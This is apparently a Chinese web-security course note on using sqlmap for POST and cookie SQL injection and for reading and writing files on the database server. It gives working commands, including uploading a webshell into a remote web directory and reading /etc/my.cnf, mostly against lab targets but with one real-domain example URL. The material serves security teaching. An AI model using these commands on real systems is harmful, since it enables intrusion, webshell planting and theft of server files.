风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)
post注入
使用burpsuite截取包,然后保存文件为1.txt(文件名随便取),再使用 sqlmap -r 1.txt --dbs
cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2
(只有level达到2才会检测cookie)
读写文件
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
sqlmap -r "c:\request.txt" -p id –dbms mysql –file-dest "e:\php\htdocs\dvwa\inc\include\1.php" –file-write "f:\webshell\1112.php"
将本地的f:\webshell\1112.php 写入到 远程服务器上e:\php\htdocs\dvwa\inc\include\1.php
sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_header/sqli_header.php" --cookie ‘ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=6i60hcmeappdlkr216jovc0o6l‘ --level 2 --dbms mysql --file-read "/etc/my.cnf"
读取远程/etc/my.cnf文件
风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)
原文:https://www.cnblogs.com/fxsec/p/14236579.html